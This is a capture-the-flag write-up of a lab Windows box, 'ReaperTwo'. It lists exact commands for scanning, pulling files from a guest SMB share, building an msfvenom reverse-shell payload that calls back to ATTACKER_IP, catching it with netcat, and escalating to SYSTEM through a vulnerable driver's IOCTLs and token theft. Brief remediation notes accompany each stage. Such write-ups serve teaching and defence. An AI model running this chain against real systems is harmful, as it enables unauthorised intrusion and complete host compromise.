ReaperTwo
Summary
I enumerated the target's exposed IIS, SMB, RPC, and RDP services and used a guest-accessible SMB share to pull a bundled JavaScript engine (d8) build along with a vulnerable kernel driver that the host's own IIS calculator page referenced. A memory-corruption bug in that JavaScript engine's handling of Set objects was used to gain arbitrary read/write inside the engine process, which was then leveraged to run shellcode and open a reverse shell as the low-privileged web service account (reaper2\www).
From that foothold, I talked directly to the same vulnerable kernel driver found on the share, which exposed unsafe IOCTL handlers that leaked kernel memory and allowed an in-kernel privilege-escalation chain to copy the SYSTEM process token into my shell, yielding full NT AUTHORITY\SYSTEM control of the host.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 4
Full TCP port sweep.
$ nmap -p- --min-rate=1000 $TARGETService/version detection on the discovered ports.
$ nmap -sC -sV -p80,135,445,3389 $TARGETConfirm guest access and list shares.
$ nxc smb $TARGET -u guest -p '' --sharesBrowse software$ and pull d8.exe, snapshot_blob.bin, and kernel/Reaper.sys for offline analysis.
$ impacket-smbclient -no-pass guest@$TARGETFixRemove anonymous SMB access and stop exposing internal build artifactsHigh
Exact commands 1
Review the calculator page for the documented engine invocation and flags.
$ curl -s http://$TARGET/Exact commands 5
Generate the reverse-shell payload to be run through the WebAssembly execution hijack.
$ msfvenom -a x64 --platform Windows -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=9001 -f raw -o shell.binRun the Set type-confusion exploit script (builds the fake-object r/w primitive, patches a WebAssembly jump table, and triggers the payload) against the pulled d8 build; re-derive object layout/offsets against this build before firing at the live target.
$ WINEDEBUG=-all wine d8.exe --allow-natives-syntax --harmony-set-methods exploit.jsCatch the resulting reverse shell.
$ rlwrap nc -lvnp 9001Prove foothold identity before reading the flag.
$ whoami
reaper2\wwwRead the user flag — replace output with <user.txt>.
$ type C:\Users\www\Desktop\user.txtFixPatch the JavaScript engine and remove browser/engine exposure from the trust boundaryCritical
Exact commands 2
Locate ROP gadgets in the matching kernel image (pulled/identified from the target build) for the escalation stage.
$ ropper --file ntoskrnl.exe --search "pop rcx"Call the driver's MSR-read IOCTL with the required magic value to leak LSTAR and derive the kernel base.
$ DeviceIoControl(hDevice, 0x803 /*IOCTL_READ_MSR*/, &req, sizeof(req), &out, sizeof(out), &ret, NULL)FixRemove the vulnerable kernel driver and enforce caller authorization on all IOCTLsCritical
Exact commands 4
Cross-compile the token-stealing escalation binary for the target build (derive gadget offsets against the pulled Reaper.sys first).
$ x86_64-w64-mingw32-gcc -o priv.exe escalate.cpp -lpsapiRun from the www foothold shell to trigger the IOCTL chain and steal the SYSTEM token.
$ priv.exeProve SYSTEM access before reading the root flag.
$ whoami
NT AUTHORITY\SYSTEMRead the root flag — replace output with <root.txt>.
$ type C:\Users\Administrator\Desktop\root.txtExposed services
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 135/tcp | rpc recon-sweep-discovered |
| 445/tcp | smb recon-sweep-discovered |
| 3389/tcp | ms-wbt-server Microsoft Terminal Services |